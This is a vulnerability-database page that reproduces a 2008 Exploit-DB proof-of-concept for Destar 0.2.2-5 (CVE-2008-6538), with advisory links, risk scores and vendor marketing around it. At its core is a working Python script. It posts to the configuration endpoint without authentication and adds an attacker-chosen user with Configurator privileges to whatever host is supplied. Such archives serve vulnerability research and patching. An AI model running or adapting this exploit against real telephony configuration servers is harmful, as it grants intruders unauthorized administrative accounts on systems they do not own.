Lucene search
+L

Destar 0.2.2-5 - Arbitrary Add New User

🗓️ 23 Mar 2008 00:00:00Reported by nonrootType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Destar 0.2.2-5 Arbitrary Add New User on Linux Debia

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6538
23 Mar 200800:00
circl
cve
CVE
CVE-2008-6538
30 Mar 200901:00
cve
cvelist
Cvelist
CVE-2008-6538
30 Mar 200901:00
cvelist
euvd
EUVD
EUVD-2008-6505
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6538
30 Mar 200901:30
nvd
prion
Prion
Design/Logic Flaw
30 Mar 200901:30
prion
ubuntucve
UbuntuCve
CVE-2008-6538
30 Mar 200901:30
ubuntucve
#
#!/usr/bin/python
#
# Exploit for destar 0.2.2-5, tested on Linux Debian
#
# Bug found and  exploit coded by a non root user
#
# http://nonroot.blogspot.com
#
# Enero 2008
#
# This is a PoC, please use it just for learning how to exploit something
#
# use: $python ./exploit_code.py
#
# required: urllib,urllib2 sys and re
#
import urllib,urllib2
import sys,re
print "Target host: i.e: http://127.0.0.1:8080/"
host=raw_input("Target host ( include http and /): ")
#info for the new user
#
user='mama'
password='mama'
source_ip='127.0.0.9'
phone=''
level='Configurator'
language='en'
#
#
req = urllib2.Request(host)
adduser = urllib.urlencode({'name': user, 'secret': password, 'pc' : source_ip, 'submit' : "Submit", 'phone' : phone, 'level' : level, 'language' : language})
req.add_header('X_FORWARDED_FOR','')
req = urllib2.Request(host+"config/add/CfgOptUser")
r = urllib2.urlopen(req,adduser)
data=r.read()
lookup=re.compile("There were errors").search
match=lookup(data)
if not match:
	print "Ok, now go and test your user at:",host
else:
	print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"
	sys.exit(2)

sys.exit(0)

# milw0rm.com [2008-03-23]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02455
39